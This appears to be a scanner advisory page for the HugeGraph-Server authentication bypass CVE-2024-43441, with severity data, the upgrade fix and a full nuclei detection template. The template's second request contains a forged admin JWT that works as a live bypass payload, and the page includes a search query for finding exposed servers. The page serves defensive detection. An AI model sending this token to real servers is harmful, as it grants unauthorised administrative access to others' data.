Apache HugeGraph-Server <1.5.0 - Authentication Bypass

criticalseverity

9.8CVSS score

73.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Apache HugeGraph-Server versions prior to 1.5.0 contain an authentication bypass vulnerability caused by assumed-immutable data. This flaw allows attackers to bypass authentication mechanisms without requiring specific privileges or user interaction.

Impact

Attackers can bypass authentication, gaining unauthorized access to sensitive data or functionalities.

Fix

Upgrade to Apache HugeGraph-Server version 1.5.0 or later.

How to confirm it

Send: GET /graphs
Positive when: status_code == 401
Send: GET /graphs
Positive when: status_code == 200 and contains_all(body,"graphs", "hugegraph") and contains(header, "application/json")

Run it with nuclei: nuclei -id CVE-2024-43441 -u <target>

The full check

id: CVE-2024-43441

info:
  name: Apache HugeGraph-Server <1.5.0 - Authentication Bypass
  author: wn147
  severity: critical
  description: |
    Apache HugeGraph-Server versions prior to 1.5.0 contain an authentication bypass vulnerability caused by assumed-immutable data. This flaw allows attackers to bypass authentication mechanisms without requiring specific privileges or user interaction.
  impact: |
    Attackers can bypass authentication, gaining unauthorized access to sensitive data or functionalities.
  remediation: |
    Upgrade to Apache HugeGraph-Server version 1.5.0 or later.
  reference:
    - https://github.com/advisories/GHSA-f697-gm3h-xrf9
    - https://github.com/apache/incubator-hugegraph/commit/03b40a52446218c83e98cb43020e0593a744a246
    - https://lists.apache.org/thread/h2607yv32wgcrywov960jpxhvsmmlf12
    - http://www.openwall.com/lists/oss-security/2024/12/24/2
    - https://github.com/J1ezds/Vulnerability-Wiki-page
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-43441
    cwe-id: CWE-302
    epss-score: 0.73062
    epss-percentile: 0.9946
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: hugegraph
    fofa-query: title="HugeGraph"
  tags: cve,cve2024,hugegraph,auth-bypass,apache,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /graphs HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
        internal: true

  - raw:
      - |
        GET /graphs HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiIsInVzZXJfaWQiOiItMzA6YWRtaW4iLCJleHAiOjIwNzE0NzY4MzB9.vb193qf4xpIPFcmCN8J0sRwqUaoS2RAUvFx9uLC-I7Q

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body,"graphs", "hugegraph")'
          - 'contains(header, "application/json")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from